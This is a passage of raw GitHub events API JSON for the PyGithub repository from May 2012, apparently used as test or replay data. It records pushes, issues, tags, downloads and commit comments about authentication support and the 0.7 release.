develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":false,"message":"Merge branch 'develop'"},{"sha":"3a3bf4763192ee1234eb0557628133e06f3dfc76","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3a3bf4763192ee1234eb0557628133e06f3dfc76","distinct":true,"message":"Merge branch 'master' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\tgithub/Github.py\n\tgithub/Requester.py"},{"sha":"608f17794664f61693a3dc05e6056fea8fbef0ff","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/608f17794664f61693a3dc05e6056fea8fbef0ff","distinct":true,"message":"Restore some form of Authorization header in replay data"},{"sha":"2c04b8adbd91d38eef4f0767337ab7a12b2f684b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2c04b8adbd91d38eef4f0767337ab7a12b2f684b","distinct":true,"message":"Allow test without pre-set-up Github"},{"sha":"5b97389988b6fe43e15a079702f6f1671257fb28","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b97389988b6fe43e15a079702f6f1671257fb28","distinct":true,"message":"Test three authentication schemes"},{"sha":"12747613c5ec00deccf296b8619ad507f7050475","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/12747613c5ec00deccf296b8619ad507f7050475","distinct":true,"message":"Test Issue.getComments"},{"sha":"2982fa96c5ca75abe717d974d83f9135d664232e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2982fa96c5ca75abe717d974d83f9135d664232e","distinct":true,"message":"Test the new Repository.full_name attribute"},{"sha":"619eae8d51c5988f0d2889fc767fa677438ba95d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/619eae8d51c5988f0d2889fc767fa677438ba95d","distinct":true,"message":"Improve coverage of AuthenticatedUser"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-26T10:01:39Z","id":"1556114751","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":null,"ref_type":"repository","description":"Repo created by PyGithub"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/TestPyGithub","id":4454027,"name":"jacquev6/TestPyGithub"},"created_at":"2012-05-26T09:55:27Z","id":"1556114217","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"GistEvent","payload":{"action":"create","gist":{"created_at":"2012-05-26T09:50:02Z","public":true,"comments":0,"git_push_url":"git@gist.github.com:2793179.git","files":{},"updated_at":"2012-05-26T09:50:02Z","url":"https://api.github.com/gists/2793179","id":"2793179","git_pull_url":"git://gist.github.com/2793179.git","description":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://gist.github.com/2793179"}},"public":true,"repo":{"url":"https://api.github.com/repos//","name":"/"},"created_at":"2012-05-26T09:50:03Z","id":"1556113740","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","comments":0,"title":"Publish version 0.7","updated_at":"2012-05-25T17:32:32Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:32Z","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/29","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940993","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","comments":1,"title":"Implement all authentication schemes","updated_at":"2012-05-25T17:32:31Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:31Z","labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940986","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref_type":"tag","ref":"v0.7","description":"Python library implementing the full Github API v3"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936661","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"DeleteEvent","payload":{"ref_type":"branch","ref":"topic/Authentication"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936660","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","size":4,"push_id":80573368,"ref":"refs/heads/master","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":true,"message":"Merge branch 'develop'"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936659","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","size":3,"push_id":80573367,"commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"}],"ref":"refs/heads/develop"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:47Z","id":"1555936657","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":"topic/Authentication","description":"Python library implementing the full Github API v3","ref_type":"branch"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:24:21Z","id":"1555833283","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","title":"Publish version 0.7","comments":0,"updated_at":"2012-05-25T11:47:59Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"created_at":"2012-05-25T11:47:06Z","due_on":"2012-05-26T07:00:00Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"open_issues":2,"closed_issues":0,"description":"","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/29","labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:02:48Z","id":"1555822981","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-25T06:31:42Z","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5924198","id":5924198,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","title":"Implement all authentication schemes","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":null,"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:31:42Z","id":"1555742639","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:05:21Z","id":"1555738288","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"527ce7459a2e60d1536883f19b9bc6850d71127b","size":5,"push_id":79877715,"commits":[{"sha":"287bc541542f9d32339e7dd4b36a511cab2ebdae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/287bc541542f9d32339e7dd4b36a511cab2ebdae","distinct":true,"message":"Generate more coverage information"},{"sha":"588a4a9a355096c00a2bb25f27664d2115e120ac","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/588a4a9a355096c00a2bb25f27664d2115e120ac","distinct":true,"message":"Test AuthenticatedUser watching"},{"sha":"815720f0deb376c34166c27b6e3b73e5c1f5b1a3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/815720f0deb376c34166c27b6e3b73e5c1f5b1a3","distinct":true,"message":"Test Authorization"},{"sha":"473c92adcd8bbbd32003d9c65666ede66059551b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/473c92adcd8bbbd32003d9c65666ede66059551b","distinct":true,"message":"Test Download and CommitComment"},{"sha":"527ce7459a2e60d1536883f19b9bc6850d71127b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/527ce7459a2e60d1536883f19b9bc6850d71127b","distinct":true,"message":"Merge commit 'c93f9cc8484b7' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\ttest/IntegrationTest.py"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:59:48Z","id":"1554729420","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:15:29Z","content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242562","id":242562,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:15:30Z","id":"1554712197","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:11:49Z","content_type":"text/richtext","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242556","id":242556,"description":"Download created by PyGithub","html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:11:49Z","id":"1554710791","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","size":1024,"content_type":"text/plain","url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242550","download_count":0,"id":242550,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:58:32Z","id":"1554705673","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":19,"created_at":"2012-05-22T18:53:25Z","line":211,"body":"Foobar","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:53:25Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362020","id":1362020,"path":"src/github/AuthenticatedUser.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362020","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:53:25Z","id":"1554703698","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":3,"created_at":"2012-05-22T18:50:02Z","line":null,"body":"Comment also created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:50:02Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362001","id":1362001,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362001","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:50:02Z","id":"1554702296","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:49:34Z","line":26,"body":"Comment created by PyGithub","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:49:34Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362000","id":1362000,"path":"codegen/templates/GithubObject.MethodBody.UseResult.py","html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:49:34Z","id":"1554702087","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":null,"created_at":"2012-05-22T18:40:18Z","body":"Comment created by PyGithub","line":null,"commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:40:18Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1361949","id":1361949,"path":null,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1361949","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:40:18Z","id":"1554698320","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.